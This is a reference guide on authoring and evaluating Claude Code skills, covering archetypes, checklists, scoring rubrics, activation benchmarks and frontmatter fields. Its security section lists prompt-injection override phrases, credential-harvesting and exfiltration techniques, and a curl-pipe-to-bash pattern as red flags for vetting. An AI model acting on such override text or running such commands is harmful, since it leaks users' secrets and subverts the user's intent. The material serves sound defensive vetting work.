\`\`\`

Knowledge Skill

Characteristic pattern: Complete inline specification. Everything the agent needs is in SKILL.md.

Reference strategy: Rare. When present, references hold example collections or edge case galleries — never core rules. The agent needs the full spec in SKILL.md to produce correct output without additional reads.

When to choose this archetype:

• Domain is a specific tool, format, or API
• Rules are numerous but all behavioral (no catalog content)
• Spec is stable (doesn't change often)
• Missing any rule produces incorrect output

Size guidance: Knowledge skills often exceed 500 lines — acceptable when all content is behavioral. A 700-line skill with all behavioral rules is better than a 400-line skill where critical rules are in unread references.

Content organization:

## [Concept Name]

[Brief framing — 1-2 lines max]

### Rules
- Rule one stated declaratively
- Rule two with specific constraint
- Rule three with example inline if < 3 lines

### Examples (when needed)
Input: [concrete input]
Output: [concrete output]

Coding Discipline Skill

Characteristic pattern: Declarative rules organized by topic, with philosophy bookends.

Reference strategy: Most reference-heavy archetype. Typically 3-8 references covering topic areas with API catalogs, comparison tables, and edge case patterns.

Structure:

[Philosophy section — 3-5 bullet principles, primacy position]

## Conventions

### [Topic 1]
- Rule A
- Rule B

### [Topic 2]
- Rule C

## Application

When **writing** code:
- Apply all conventions silently — don't narrate each rule
- If existing code contradicts a convention, follow the codebase and flag divergence once

When **reviewing** code:
- Cite the specific violation and show the fix inline
- Don't lecture — state what's wrong and how to fix it

## Integration

The **[other-skill]** skill governs [X]; this skill governs [Y]. When both apply, [precedence rule].

[Closing philosophy — recency position, 1-3 bullets]

Why the Application section matters: Without it, the agent may narrate every rule application or fail to apply conventions during review. The section explicitly programs two behavioral modes.

Why the Integration section matters: Prevents conflicts when multiple discipline skills are loaded — gives the agent clear precedence rules rather than forcing it to guess.

---

Pre-Delivery Checklist

Adapted from mgechev's validation guide. Run these checks before considering a skill complete.

Discovery validation

• Description tested: generate 3 prompts that should trigger, 3 that should not
• Name matches directory name exactly
• No false triggers for adjacent skills

Logic validation

Feed the full SKILL.md to a fresh Claude instance and ask it to simulate execution step-by-step. Flag any point where it guesses or hallucinates missing steps — those are instruction gaps.

Edge case testing

Ask the LLM to act as a ruthless QA tester: "Find 3-5 specific edge cases or failure states in this skill. Don't fix them — just ask the questions."

Architecture check

• SKILL.md under 500 lines
• References one level deep (no nested references)
• Files longer than 100 lines have a table of contents
• No time-sensitive information in main body
• Consistent terminology throughout (one term per concept)
• All file paths use forward slashes

Format audit

• Every table passes the column-removal test: removing any column would lose comparative meaning. If not → convert to KV

list

• Independent-entry data (route tables, hook events, permission modes, model aliases) uses KV lists, not tables
• Numbered lists used ONLY for sequential steps where order matters
• Bullet lists used for rules, directives, conventions with no ordering
• No table is used merely because the data has two fields — two-field data is a KV list

Content quality

• Description specific and includes key terms
• Each reference provides content SKILL.md doesn't have
• Degrees of freedom matched to task fragility
• Worked examples present for output-quality-dependent skills
• No rules duplicating Claude's existing capabilities (deletion test applied)

---

Common Creation Mistakes

• Writing references first — seems logical to gather depth before rules. Fix: write SKILL.md first; it defines what

depth is needed.

• Duplicating SKILL.md in references — copy-paste habit, fear of missing content. Fix: each reference must provide

content SKILL.md doesn't have.

• Over-scoping initial version — trying to cover all cases upfront. Fix: start with the 3 most common scenarios,

expand from observed failures.

• Skipping evaluation — "I know what the skill needs." Fix: run Claude without the skill first; failures reveal real

gaps.

• Writing 40+ rules — more rules = more thorough (false). Fix: more rules = more attention competition; apply the

deletion test.

• Procedural style for everything — steps feel more concrete. Fix: declarative for constraints, procedural only for

genuinely ordered workflows.

• Nested references — "advanced.md links to details.md links to the actual info." Fix: all references one level

deep; nested content may only be partially read.

• Vague negative triggers — description says what skill does, not what it doesn't. Fix: add explicit negative

triggers ("Don't use for Vue, Svelte, or vanilla CSS projects") to prevent false activations.

Skill Quality Evaluation

Detailed scoring rubrics and evaluation procedures. For the quick deployment checklist, see "Quick Checks" in SKILL.md.

Contents

• Description Quality
• Instruction Quality
• Progressive Disclosure
• Scope Assessment
• Example Quality
• Evaluation-Driven Development
• Testing Protocol
• Scoring Rubric
• Common Issues by Score Range

Description Quality

The description is the highest-leverage field — the only signal Claude uses to decide whether to invoke a skill. No algorithmic routing, no intent classification; pure LLM reasoning against description text. Poor descriptions cause activation failures or false triggers.

Trigger Keyword Density

Keyword density directly correlates with activation rate. Claude matches descriptions against user intent using language understanding. A description with zero trigger verbs (e.g., "Helps with coding tasks") gives Claude nothing to match against. A description with 4-6 domain-specific trigger verbs gives Claude multiple match opportunities.

Baseline activation rates by description quality (Scott Spence, 200+ test runs, Haiku 4.5):

• No hook, poor description: ~20% (coin flip)
• No hook, optimized description: 20-50% (systemic ceiling, not just a description problem)
• Forced-eval hook, any description: ~84%
• Manual invocation: 100%

What "optimized description" means: domain claim + action verbs + clear scope. Example:

# Low keyword density — activation unreliable
description: Helps with Go code

# High keyword density — best achievable without a hook
description: >-
  Go language conventions, idioms, and toolchain.
  Invoke whenever task involves any interaction with Go —
  writing, reviewing, debugging, or understanding Go code.

Evaluation Criteria

Functional lead:

• Good: "Go language conventions, idioms, and toolchain"
• Bad: "Helps with coding"

Domain claim:

• Good: "Invoke whenever task involves any interaction with X"
• Bad: "Use when creating or editing X"

Trigger keywords:

• Good: "— creating, evaluating, debugging, or understanding"
• Bad: (no trigger keywords listed)

Point of view:

• Good: "Design and iterate..."
• Bad: "I can help you..."

Red Flags

• Slogan instead of functional description (opens with tagline)
• Narrow verb list instead of broad domain claim
• Uses vague verbs: "helps", "assists", "handles"
• Cross-skill dependencies that belong in SKILL.md body
• Written in second person ("you can...")
• Contradicts actual skill functionality

Instruction Quality

Clarity Test

Could a colleague follow these instructions without asking clarifying questions? If not, the instructions need work.

Evaluation Criteria

Voice:

• Good: Imperative: "Extract the data"
• Bad: Passive: "Data should be extracted"

Steps:

• Good: Numbered, sequential
• Bad: Prose paragraphs

Specificity:

• Good: "Format as JSON with keys: name, date"
• Bad: "Format appropriately"

Completeness:

• Good: Covers happy path + edge cases
• Bad: Only happy path

Structure:

• Good: XML tags, clear sections
• Bad: Wall of text

Format spec:

• Good: Explicit output example
• Bad: "Return results"

Critical rules:

• Good: At end of document (recency zone)
• Bad: Buried in middle

Red Flags

• Long paragraphs without structure
• Ambiguous terms: "appropriately", "as needed", "correctly"
• Missing error handling guidance
• No examples for complex operations
• No explicit output format specification
• Critical constraints buried in prose
• No XML tags for multi-part instructions

Progressive Disclosure

Evaluation Criteria

SKILL.md size:

• Good: < 500 lines
• Bad: > 1000 lines

Reference depth:

• Good: One level from SKILL.md
• Bad: Nested references

Content split:

• Good: Detailed docs in references
• Bad: Everything in SKILL.md

File references:

• Good: Clear pointers with context
• Bad: "See other files"

Structure Check

Good:
SKILL.md → references/api.md    (one level)
SKILL.md → references/guide.md  (one level)

Bad:
SKILL.md → references/main.md → references/details.md → ...

Scope Assessment

Too Broad

Signs:

• Skill tries to handle multiple unrelated domains
• Instructions are vague to cover all cases
• Output quality varies significantly by input type

Fix: Split into multiple focused skills.

Too Narrow

Signs:

• Skill handles only one very specific case
• Rarely triggered
• Could be a one-line instruction instead

Fix: Generalize slightly or absorb into a broader skill.

Right Size

Signs:

• Clear, consistent purpose
• Triggered appropriately
• Output quality is predictable
• Valuable enough to justify the overhead

Example Quality

Evaluation Criteria

Coverage:

• Good: Simple, complex, and edge cases
• Bad: Only happy path

Format:

• Good: Clear input → output pairs
• Bad: Prose descriptions

Realism:

• Good: Uses realistic data
• Bad: Trivial "foo/bar" examples

Diversity:

• Good: Different scenarios represented
• Bad: Same pattern repeated

Minimum Examples

For most skills, include at least:

• Simple case — Shows basic functionality
• Complex case — Shows handling of real-world complexity
• Edge case — Shows behavior at boundaries

Worked Examples Are Refinement Artifacts

Complete input→output worked examples are high-value but rarely available during initial skill creation. They emerge from real usage: a problem is encountered, solved, and the solution documented as an example.

Treat worked examples as a refinement goal, not an initial requirement. Populate them during iteration as you observe the skill in use.

Evaluation-Driven Development

See [${CLAUDE_SKILL_DIR}/references/creation.md] Step 8 for the EDD workflow.

Testing Protocol

Activation Testing

Run these prompts and verify behavior:

• Should trigger: 3-5 prompts that should activate the skill
• Should not trigger: 3-5 prompts that shouldn't activate it
• Borderline: 2-3 ambiguous cases to understand boundaries

Document expected behavior for each.

Activation rate benchmarks (Haiku 4.5, 200+ test runs):

• Simple instruction hook: ~20% — effectively no better than no hook at all
• LLM-eval hook: ~80% — faster and cheaper, but can fail spectacularly on multi-skill prompts
• Forced-eval hook: ~84% — most consistent; forces Claude to state YES/NO per skill before acting
• Manual /skill-name: 100% — always reliable

If auto-activation is below 50% after description optimization, the description is not the primary problem — the activation ceiling is systemic. Use a forced-eval hook or accept manual invocation.

Output Quality Testing

For each test case:

• Does output match expected format?
• Is content accurate and complete?
• Are edge cases handled correctly?
• Is output consistent across multiple runs?

Regression Testing

After any change:

1. Re-run activation tests 2. Re-run quality tests 3. Verify no new issues introduced

Scoring Rubric

Description (20 points)

• 20: Specific capabilities + clear triggers + right length; trigger keyword density ≥ 4 domain-specific verbs
• 15: Mostly complete, minor improvements possible
• 10: Vague on either capabilities or triggers; low keyword density
• 5: Very vague, missing key information; no trigger verbs
• 0: Missing or actively misleading

Instructions (20 points)

• 20: Clear, imperative, structured (XML tags/steps), explicit format
• 15: Mostly clear, minor ambiguities, format specified
• 10: Understandable but verbose or missing structure
• 5: Confusing structure, significant gaps, no format
• 0: Unclear or contradictory

Examples (20 points)

• 20: Comprehensive coverage, realistic, well-formatted
• 15: Good coverage, minor gaps
• 10: Basic coverage, missing edge cases
• 5: Minimal examples, not representative
• 0: No examples or misleading examples

Structure (20 points)

• 20: Right scope, proper organization, appropriate length
• 15: Minor structural issues
• 10: Too long or too short, scope issues
• 5: Poor organization, wrong scope
• 0: Fundamentally broken structure

Content Placement (20 points)

• 20: SKILL.md behaviorally self-sufficient; references contain only deepening material; route list describes each

reference's contents; KV lists for lookups, tables only for 2D comparisons; critical rules in primacy/recency zones

• 15: Most behavioral rules inline; one or two rules only in references; mostly good placement
• 10: Significant behavioral content only in references; critical rules buried in middle
• 5: SKILL.md is mostly a router; critical rules live in references
• 0: No references exist but SKILL.md is incomplete, or references duplicate SKILL.md body content

What to check:

• Can an agent produce correct output reading only SKILL.md?
• Do references contain depth (examples, catalogs, rubrics) or breadth (rules, directives)?
• Are anti-patterns stated as positive directives in the body, or duplicated in a separate table?
• Does the route list describe each reference's contents?
• Are KV lists used for lookups/routes, tables reserved for 2D comparisons?
• Are critical rules placed in the top 20% or bottom 20% of SKILL.md (not only buried in the middle)?
• Is instruction style appropriate — declarative for constraints/conventions, procedural only for ordered workflows?
• Does every instruction earn its place (deletion test)?

Interpretation

• 90-100: Production-ready
• 70-89: Usable, improvements recommended
• 50-69: Needs significant work
• < 50: Major revision required

Common Issues by Score Range

70-89 (Minor Issues)

• Description could be more specific; trigger keyword density < 4 verbs
• Missing one edge case example
• Instructions slightly verbose
• One or two behavioral rules only in references
• Route list missing content descriptions
• Tables used for lookup data that should be KV lists

50-69 (Moderate Issues)

• Vague description causing activation problems; zero trigger keywords
• Instructions missing key scenarios
• No examples for edge cases
• Wrong scope (too broad or too narrow)
• Significant behavioral content only in references

< 50 (Major Issues)

• Description doesn't match actual functionality
• Instructions contradictory or unclear
• No examples
• Fundamentally wrong structure
• SKILL.md is a router with no behavioral content

Skill Iteration

Skills improve through observation and refinement. When Claude doesn't follow instructions, the prompt needs work, not stronger language.

Iteration Cycle

Use skill → Observe behavior → Identify gap → Refine → Repeat

Activation Reliability

Why Activation Fails

Skill selection is pure LLM reasoning: Claude reads the <available_skills> list in the Skill tool's description and decides which to invoke. There is no algorithmic matching, no embeddings, no intent classifier. This creates specific failure modes:

• Keyword gap — Claude does shallow pattern matching at activation. Specific terms ($state, command()) activate

every time; conceptual queries miss 60-80% of the time.

• Context window pressure — Long conversations push skill checks to lower priority as context fills.
• Token budget truncation — Skills live in a budget of 1% of context window (fallback: 8K chars) inside the Skill

tool description. Too many skills → truncation → invisible to Claude.

• Passive suggestion ignored — Simple hook instructions are background noise. Claude acknowledges them mentally and

proceeds without acting.

Activation Rate Benchmarks

Community research across 250+ sandboxed evaluations (Claude Haiku 4.5, four SvelteKit skills, five prompt categories, 10 runs each):

• No hook (baseline): ~20-55% activation (varies by model and prompt specificity)
• Simple instruction hook: ~20-50% — no meaningful improvement over baseline
• Native `type: "prompt"` hook: same as no hook — gets deprioritized
• LLM eval hook (API pre-screening with Haiku): 80% overall; 100% on simple single-skill prompts, 0% on multi-skill

prompts

• Forced eval hook (explicit YES/NO per skill): 84% overall; never completely failed a prompt category

Why Forced Eval Works: The Commitment Mechanism

Simple hooks are passive suggestions. Forced eval creates a three-step process:

1. Show work — Claude must explicitly evaluate each available skill 2. Make commitment — State YES or NO for each, with reason 3. Follow through — Cannot skip to implementation without completing the evaluation

Once Claude writes "YES — need reactive state" in its response, it is committed to activating that skill. Aggressive language in the hook prompt (MANDATORY, CRITICAL, WORTHLESS) reinforces compliance.

Forced vs LLM eval trade-offs:

• Forced eval — 84% activation, no external dependencies, verbose output (Claude lists all skills before working),

most consistent across all prompt types

• LLM eval — 80% activation, 10% cheaper per prompt, 17% faster latency, can fail catastrophically on some prompt

types (0% on multi-skill prompts in testing), requires API key

Description Optimization Tiers

Improving the skill description improves Claude's autonomous matching before any hook is involved:

• Tier 1 (~50% activation): Clear USE WHEN patterns, specific keywords and term names, file type mentions
• Tier 2 (~60-70% activation): CLAUDE.md references pointing to the skill, workflow documentation that mentions the

skill by name

• Tier 3 (84-100% activation): Custom hooks with forced evaluation or LLM pre-screening

Description alone will not reliably reach Tier 3. Hooks are the only path to consistent activation.

For details on implementing hooks, see the troubleshooting reference.

Common Activation Fixes

• Doesn't trigger — description misses the user's words. Fix: broaden domain claim, add trigger keywords, add

USE WHEN pattern

• Triggers too often — description too broad. Fix: add exclusions: "Use for X, NOT for Y"
• Wrong skill activates — overlapping descriptions. Fix: make descriptions more distinct, add exclusions on both

skills

• Inconsistent triggering — conceptual queries miss, literal queries hit. Fix: add more phrasing variants in

description, or implement forced eval hook

Common Output Fixes

• Wrong format — no format specification. Fix: add explicit format with example output
• Missing details — instructions vague. Fix: be specific: "Include X, Y, Z"
• Ignores instructions — buried in prose. Fix: move to end, use XML tags, add structure
• Inconsistent quality — ambiguous guidance. Fix: add few-shot examples, resolve conflicts
• Partial completion — steps unclear. Fix: use numbered sequential steps
• Ignores constraints — not emphasized. Fix: place in <constraints> tags at end

Refinement Patterns

Restructuring with XML Tags

Before:

Filter out test accounts when querying. Also validate
input and check permissions before running.

After:

<constraints>
- ALWAYS filter test accounts: `WHERE account_type != 'test'`
- Validate input format before processing
- Check permissions before write operations
</constraints>

Adding Explicit Format

Before:

Return the analysis results.

After:

<output_format>
Return as JSON:
\`\`\`json
{"summary": "...", "findings": [...], "confidence": "high|medium|low"}
\`\`\`
</output_format>

Moving Critical Rules to End

Before (buried in middle):

## Process
1. Read input
2. NEVER delete without confirmation
3. Transform data
4. Write output

After (at end):

## Process
1. Read input
2. Transform data
3. Write output

## CRITICAL
NEVER delete without explicit user confirmation.

Broadening Domain Claim

Before — narrow verb list:

description: >-
  Process PDF files. Use when extracting text or filling forms.

After — functional description with broad domain claim:

description: >-
  Extract and transform PDF documents: text extraction, form
  filling, merging, splitting. Invoke whenever task involves any
  interaction with PDF files — reading, creating, editing, or
  converting documents.

Narrowing Scope

When a skill triggers too often, add exclusions rather than narrowing the domain claim:

Before — too broad, no boundaries:

description: >-
  Data analysis and processing. Invoke whenever task involves
  any interaction with data.

After — broad claim with explicit exclusions:

description: >-
  Tabular data analysis: statistical patterns in structured
  datasets. Invoke whenever task involves any interaction with
  CSV or Excel files. NOT for text analysis or database queries.

Splitting Overloaded Skills

When a skill does too much:

1. Identify distinct capabilities 2. Create focused skill for each 3. Ensure descriptions don't overlap

Promoting to References

When SKILL.md grows beyond 500 lines:

1. Identify detailed sections 2. Move to references/<topic>.md 3. Replace with: "For details, see topic.md"

When to Stop

A skill is done when:

• Triggers correctly for target cases
• Instructions followed consistently
• No recurring complaints
• Maintenance burden is low

Prompt Techniques for Skills — Extended Depth

Deepening material for the instruction design rules in SKILL.md. Read SKILL.md first — this reference provides research context, trade-off analysis, and edge cases beyond the working-resolution rules.

Consider invoking `prompt-engineering` for the full prompt engineering toolkit beyond skill-specific application.

Contents

• Instruction Budget and Applicability
• Prompt Interference and Conflict Detection
• CoT Trade-Offs in Persistent Context
• Instruction Strengthening Patterns
• Format Control Techniques
• Debugging Instruction Failures

---

Instruction Budget and Applicability

Skills inject additional instructions into an already-loaded context. Understanding the budget helps decide what belongs in a skill versus what to leave to the harness.

The Budget Problem

Claude Code's system prompt contains approximately 50 individual instructions before any plugin, skill, or user message is loaded. Research on frontier models indicates:

• Thinking models: ~150-200 instructions followed with reasonable consistency
• Non-thinking models: significantly lower ceiling with exponential decay (not linear)
• Uniform degradation: as instruction count grows, compliance drops across all rules equally — the model does not

simply ignore "later" instructions, it degrades on all of them

Skills that add 20+ instructions burn budget that affects harness rules too, not just their own.

Applicability Rule

The more instructions in context irrelevant to the current task, the worse the model performs. Skills trigger contextually, but their full content is loaded when triggered.

• Include only instructions that apply to every invocation of the skill
• Move task-specific depth to references/ and instruct the skill to read them on demand (progressive disclosure)
• Avoid code style guidelines in skills — linters enforce those better and for free

Pointers Over Content

Don't embed file content or code snippets that will become stale. Embed file:line references instead. The same principle applies to skill cross-references: point to the authoritative skill (prompt-engineering) rather than copying its content.

---

Prompt Interference and Conflict Detection

Skills add behavioral rules to an existing rule set. The Arbiter framework (NLM-sourced research) analyzed the system prompts of Claude Code (1,490 lines), Codex CLI (298 lines), and Gemini CLI (245 lines) to identify structural interference patterns. The findings apply directly to skill authoring.

Interference Patterns Found in Production Agents

Monolithic growth bugs — As a system prompt grows via concatenation of plugins and skills, subsystem boundaries become ambiguous. Example from Claude Code: the TodoWrite mandate ("use VERY frequently") directly contradicts the commit workflow prohibition ("NEVER use TodoWrite"). Each rule is correct in isolation; together they conflict.

Scope overlaps — The same constraint restated in 2-3 locations with subtle wording differences. Claude Code contained 13 such overlaps. The model resolves these through judgment, not by flagging them as contradictions.

Priority ambiguities — Parallel execution guidance coexisting with sequential ordering constraints. The model picks one interpretation silently.

Universal tensions — Autonomy vs. restraint conflicts and precedence hierarchy ambiguity appeared in all three studied agents. These are not implementation bugs — they are structural properties of rule accumulation.

The Observer's Paradox

The executing model "smooths over" contradictions — resolves them using judgment, which prevents it from recognizing them as contradictions. The model that follows your skill is the worst validator of whether your skill conflicts with other rules.

Test skill instructions with a different model than the executing one, or with a model in a fresh context without the harness system prompt.

Conflict-Check Protocol Before Shipping a Skill

When adding behavioral rules to a skill, verify:

1. New rule vs. harness rules — does it conflict with Claude Code's built-in directives? 2. New rule vs. plugin rules — does it conflict with other installed skills (especially CLAUDE.md and other loaded skills)? 3. Duplicate constraint check — is this constraint already stated elsewhere with different wording? If yes, either remove one or consolidate them. 4. Priority check — if two rules conflict in a specific scenario, is the resolution order explicit?

XML Tags as Scope Boundaries

Explicit section boundaries reduce interference because the model uses tag names to scope rules. A constraint inside <constraints> is less likely to bleed into adjacent behavior than the same constraint in unmarked prose.

Prefer:

<constraints>
NEVER include preamble before the JSON output.
</constraints>

Over: "Don't include preamble before the JSON output." buried in a paragraph.

---

CoT Trade-Offs in Persistent Context

SKILL.md states: "Default to declarative. Reserve numbered steps for workflows where order genuinely matters." This section explains the research behind that rule and when to break it.

Why CoT Hurts in Skills

Explicit Chain-of-Thought in persistent context (skills, system prompts) creates a contextual gap — the distance between instructions and output grows with each reasoning step. Research findings:

• CoT diverts constraint attention — the model over-focuses on high-level content planning and neglects simple

mechanical rules (word limits, format requirements, negative constraints like "no commas")

• Applying CoT to reasoning models (Claude 3.7+, o-series) causes double thinking — amplifies instruction-following

failures rather than mitigating

• CoT does help with structural formatting (valid JSON, XML tags, markdown syntax) and lexical precision — cases

where reasoning acts as a checklist

• Structuring reasoning as discrete numbered steps (a "Thought MDP") enables 20-40% self-correction lift vs.

unstructured CoT

Decision Rules for Skill Authors

• Many mechanical constraints (format, word limits): avoid CoT entirely
• Complex multi-step workflow: use numbered steps (procedural)
• Varied request types (coding discipline): no blanket CoT; let model decide
• Specific reasoning sub-task: scoped CoT with constraint re-statement after
• Targets reasoning models (Claude 3.7+): high-level guidance only ("think thoroughly")

Constraint Re-Statement Pattern

When a skill needs reasoning for a sub-task, repeat critical constraints after the reasoning block to re-focus attention:

## Analysis Phase

Think through the architecture implications in <thinking> tags.

## Output Phase

After analysis, format your response following these rules:
- Maximum 3 bullet points per section
- Each bullet under 25 words
- No markdown headers in the response body

Key papers: "When Thinking Fails" (Li et al.); "Scaling Reasoning, Losing Control"; "Diminishing Returns of CoT" (Meincke, Mollick et al.)

---

Instruction Strengthening Patterns

When Claude ignores instructions despite clear phrasing, escalate with these patterns — ordered from least to most aggressive:

1. Restructure — move to XML tags at end: <constraints>ALWAYS filter test accounts</constraints> 2. Emphasize — uppercase key word: "ALWAYS filter test accounts" 3. Negative space — state what NOT to do: "Do NOT include explanatory preamble" 4. Consequence — state what happens if ignored: "If validation is skipped, the output will corrupt downstream data" 5. Dual-place — top + bottom reinforcement: principle at top, checklist at bottom

Use sparingly — if everything is emphasized, nothing is. Reserve strong language for rules that repeatedly fail in testing.

Prefer restructuring over emphasis. Moving a constraint to XML tags at the end is more reliable than capitalizing words in the middle. Placement beats emphasis.

---

Format Control Techniques

Explicit Format with Example

Always specify output format explicitly and include a concrete example:

## Output Format

Return results as JSON:
\`\`\`json
{
  "summary": "[1-2 sentences]",
  "findings": ["finding 1", "finding 2"],
  "confidence": "high|medium|low"
}
\`\`\`

Do NOT include markdown formatting around the JSON.
Do NOT add fields beyond those specified.

Prefilling Technique (API Skills)

For skills that produce structured output via the API, describe the prefilling approach:

## Response Format

Begin your response with `{` and return valid JSON only.
No preamble, no explanation — just the JSON object.

Negative Format Constraints

Explicitly state what the output should NOT contain. Agents writing skills often omit this because they focus on what they want:

Do NOT wrap JSON in markdown fences.
Do NOT include a "Here's the result:" preamble.
Do NOT add commentary after the structured output.

---

Debugging Instruction Failures

When a skill produces wrong output, diagnose with this list before adding more instructions (which may make the problem worse):

• Wrong format — no format specification or example. Fix: add explicit format + example output
• Missing details — instructions too vague. Fix: be specific: "Include X, Y, Z"
• Ignores constraints — constraints buried in prose. Fix: move to <constraints> tags at end
• Inconsistent output — ambiguous or conflicting guidance. Fix: add few-shot examples, resolve conflicts
• Partial completion — steps not numbered or unclear. Fix: use numbered sequential steps
• Correct but verbose — no negative constraints. Fix: add "Do NOT include..." directives
• Works sometimes — critical rule in attention dead zone. Fix: dual-place: top principle + bottom checklist
• Conflicts with harness — a different rule wins silently. Fix: run conflict-check protocol; test with fresh context

or different model

The Fix Hierarchy

Try fixes in this order — most issues are solved by #1-3:

1. Restructure — move content, add XML tags, fix placement 2. Specify — add format example, concrete constraints, edge cases 3. Demonstrate — add few-shot input/output pairs 4. Emphasize — strengthen language (ALWAYS, NEVER, REQUIRED) 5. Split — decompose into simpler sub-tasks or separate skills

Adding more text is the last resort. Research shows unnecessary requirements reduce task success. Restructure existing content first.

Skill Security — Authoring and Vetting

Research baseline: 26.1% of skills in the wild contain vulnerabilities. Claude treats SKILL.md as a trusted system prompt — a malicious skill has the same authority as a legitimate one. Skills bundling executable scripts are 2.12× more likely to contain vulnerabilities than instruction-only skills.

The Consent Gap

The core risk: mismatch between what users approve and what a skill actually does.

• Example: User installs "GIF Creator" → skill downloads ransomware on first use
• Why it works: The skill description is what users read; SKILL.md content is what Claude executes
• Claude's position: No independent verification of skill intent — it follows instructions

---

Vulnerability Taxonomy

Prompt Injection (0.7% prevalence)

• Instruction override — SYSTEM: ignore previous instructions and... embedded in skill body
• Hidden instructions — directives in markdown comments (<!-- -->) or invisible Unicode characters
• Exfiltration commands disguised as logging — console.log(userMessage) → posts to attacker endpoint
• Behavior manipulation — gradual persona drift instructions that activate after N turns

Data Exfiltration (13.3% prevalence)

• External data transmission — hardcoded URLs receiving tool outputs, file contents, API responses
• Environment variable harvesting — reading ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, tokens via shell
• File system enumeration — scanning ~/.ssh/, ~/.aws/credentials, browser cookie stores
• Context leakage — posting full conversation history to a remote endpoint on each turn

Privilege Escalation (11.8% prevalence)

• Excessive permission requests — allowed-tools claiming Bash when only Read is needed
• Sudo/root execution — running system commands without justification in skill scripts
• Credential access — reading OS keychain, password managers, auth token stores

Supply Chain (7.4% prevalence)

• Unpinned dependencies — npm install some-package without version lock → attacker publishes malicious version
• External script fetching — curl https://example.com/setup.sh | bash pattern
• Obfuscated code — base64-encoded or minified scripts hiding malicious logic inside bundled files

---

Severity Breakdown

• High (5.2%) — likely intentionally malicious; clear exfiltration or payload delivery
• Medium (8.1%) — ambiguous; excessive permissions or external calls that may be legitimate
• Low (12.8%) — negligent; unpinned deps, no sanitization, accidental leakage

---

Enterprise Vetting Checklist

Run this before approving any third-party skill for installation.

Read all content:

• Read SKILL.md in full — not just the description block
• Read every file in references/ — instructions may be split across files
• Read every bundled script — check for obfuscation or encoded payloads

Verify behavior:

• Execute scripts in a sandboxed environment before approving
• Trace all network calls — block unexpected external URLs
• Check for "sleeping payloads": conditions that trigger only after N uses, on specific dates, or when specific

environment variables are present

Check for adversarial instructions:

• Search for: ignore, override, forget, pretend, do not mention, hide, secretly
• Search for invisible Unicode: zero-width spaces, right-to-left override characters
• Check markdown comments for hidden directives

Audit tool usage:

• List every tool invoked (Bash, Read, Write, WebFetch, etc.)
• Verify each tool claim matches the skill's stated purpose
• Flag Bash usage in any skill that doesn't explicitly require shell access

Check for exfiltration vectors:

• Search for hardcoded URLs (especially non-official domains)
• Search for curl, fetch, http, wget in scripts and SKILL.md
• Search for environment variable reads: process.env, $HOME, os.environ
• Verify no credentials are embedded in any file

---

Secure Skill Authoring Rules

Secrets:

• Never embed API keys, tokens, or passwords in SKILL.md, references, or bundled scripts
• Reference secrets via environment variables; document which vars are expected
• Never log or echo secrets in script output

Permission scoping:

• Set allowed-tools to the minimum required — don't claim Bash if Read suffices
• If Bash is required, restrict commands to a documented, narrow set
• Prefer Read-only access over Write access unless the skill's purpose is file modification

Input handling:

• Sanitize user-supplied content before interpolating into generated prompts or commands
• Never pass raw user input to shell commands — this is command injection
• Validate file paths — reject ../ traversal and absolute paths outside the project

Dependencies:

• Pin all package dependencies with exact version constraints ("lodash": "4.17.21" not "^4.0.0")
• Prefer instruction-only skills over script-bundled skills — no script means no supply chain surface
• If fetching external content is required, document the URL and verify it is under your control

Transparency:

• Every action the skill takes should be visible to the user — no silent side effects
• If the skill makes network calls, document them explicitly in the skill description
• Don't use misleading skill names or descriptions

---

Quick Reference — Red Flags

• curl | bash or wget | sh anywhere in skill files
• Hardcoded non-localhost URLs in scripts or SKILL.md
• allowed-tools includes Bash with no justification
• Markdown comments containing instructions
• Base64 strings in scripts (possible obfuscation)
• Environment variable reads unrelated to skill function
• Skill description doesn't match file contents
• No version pins on external dependencies

Skill Technical Specification

Directory Structure

skill-name/
├── SKILL.md              # Required: main instructions
├── references/           # Optional: additional documentation
│   ├── guide.md
│   └── examples.md
├── scripts/              # Optional: executable code
│   └── helper.py
└── assets/               # Optional: templates, data files
    └── template.json

SKILL.md Format

---
name: skill-name
description: What it does and when to use it
---

# Skill Title

[Markdown instructions]

Frontmatter Fields

Open Standard Fields (cross-platform)

• name (required): 1–64 chars, lowercase letters, numbers, hyphens only. Must match parent directory name.
• description (required): 1–1024 chars. Describes what the skill does AND when to use it.
• license: License name or reference to a bundled license file.
• compatibility: 1–500 chars. Environment requirements (product, packages, network access).
• metadata: Arbitrary key-value map. Use reasonably unique keys to avoid conflicts.
• allowed-tools: Space-separated string of pre-approved tools. In Claude Code, grants tool access without per-use

approval while the skill is active. No effect in the Agent SDK — use the SDK's allowedTools option instead.

Claude Code Extensions

• argument-hint: UI hint during autocomplete. Example: [issue-number], [filename] [format].
• disable-model-invocation (default: false): Prevents Claude from auto-triggering the skill. **Also removes the

description from context entirely** — Claude won't know the skill exists until explicitly invoked. Frees description budget for other skills. Use for workflows with side effects or those you want to control timing of.

• user-invocable (default: true): Set false to hide from the / menu. Does NOT block model invocation — use

disable-model-invocation for that.

• model: Model override when this skill is active. Accepts model short names (sonnet, opus, haiku).
• effort: Effort level override when this skill is active. Options: low, medium, high, max (Opus 4.6 only).

Overrides the session effort level.

• context: Set to fork to run the skill in an isolated subagent context.
• agent: Subagent type when context: fork is set. Built-ins: Explore, Plan, general-purpose. Also accepts any

custom subagent name from .claude/agents/. Defaults to general-purpose if omitted.

• hooks: Skill-scoped lifecycle hooks. Same format as session hooks in settings.json.
• paths: Glob patterns limiting when this skill is auto-activated. Comma-separated string or YAML list. Claude loads

the skill automatically only when working with files matching these patterns.

• shell: Shell for ! commands in this skill. bash (default) or powershell. Requires

CLAUDE_CODE_USE_POWERSHELL_TOOL=1 for PowerShell.

Invocation Control Matrix

Name Field Rules

• Allowed characters: a-z, 0-9, -
• Cannot start or end with a hyphen
• No consecutive hyphens (my--skill is invalid)
• Max 64 characters
• Must match parent directory name exactly
• Cannot contain reserved words: anthropic, claude
• Cannot contain XML tags

Valid: pdf-processing, code-review, data-analysis-v2

Invalid: PDF-Processing (uppercase), -pdf (leading hyphen), my--skill (consecutive hyphens), claude-helper (reserved word)

Naming strategy: Gerund or noun-phrase forms both work. Avoid vague names (helper, utils, tools).

Description Field Rules

• Max 1024 characters (open standard)
• Max 250 characters before truncation in the skill listing (Claude Code)
• Must describe both what the skill does AND when to use it
• Front-load the key use case — descriptions are truncated from the end
• No XML tags (plain text only)
• No second-person framing ("You can use this to...")

Skill Discovery and Precedence

Location Precedence

When skills share the same name, higher-priority location wins:

enterprise > personal > project

• Enterprise: managed settings (org-wide)
